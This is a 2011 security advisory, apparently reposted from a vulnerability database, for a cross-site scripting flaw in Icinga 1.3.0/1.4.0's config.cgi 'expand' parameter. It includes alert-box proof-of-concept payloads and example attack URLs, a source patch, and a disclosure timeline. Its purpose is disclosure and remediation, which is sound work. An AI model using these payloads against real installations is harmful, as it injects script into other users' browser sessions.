Icinga 1.4.0 Cross-Site Scripting

2011.06.16

Credit: Stefan Schurtz

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2011-2179

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

Advisory: Cross-Site Scripting vulnerability in Icinga
Advisory ID: SSCHADV2011-005
Author: Stefan Schurtz
Affected Software: Successfully tested on: icinga-1.3.0 / icinga-1.4.0
Vendor URL: http://www.icinga.org
Vendor Status: Resolved
CVE-ID: -
==========================
Vulnerability Description:
==========================
This is a Cross-Site Scripting vulnerability
==================
Technical Details:
==================
No input validation for "expand" in config.c(gi)
View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>
or
http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script>
http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)>
=========
Solution:
=========
in config.c
< printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",command_args[0]);
> printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",escape_string(command_args[0]));
This solution doesn't fix the whole problem - see https://dev.icinga.org/issues/1605#note-3 for more information
====================
Disclosure Timeline:
====================
01-Jun-2011 - informed developers
01-Jun-2011 - Release date of this security advisory
01-Jun-2011 - fixed - Target version: 1.4.1
01-Jun-2011 - post on BugTraq and Full-disclosure
========
Credits:
========
Vulnerability found and advisory written by Stefan Schurtz.
===========
References:
===========
http://www.icinga.org
https://dev.icinga.org/issues/1605
http://www.rul3z.de/advisories/SSCHADV2011-005.txt

References:

https://dev.icinga.org/issues/1605

http://www.rul3z.de/advisories/SSCHADV2011-006.txt

http://www.rul3z.de/advisories/SSCHADV2011-005.txt

http://tracker.nagios.org/view.php?id=224

http://archives.neohapsis.com/archives/bugtraq/2011-06/0018.html

https://bugzilla.redhat.com/show_bug.cgi?id=709871

http://www.openwall.com/lists/oss-security/2011/06/02/6

http://www.openwall.com/lists/oss-security/2011/06/01/10

http://archives.neohapsis.com/archives/bugtraq/2011-06/0017.html

See this note in RAW Version

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Icinga 1.4.0 Cross-Site Scripting

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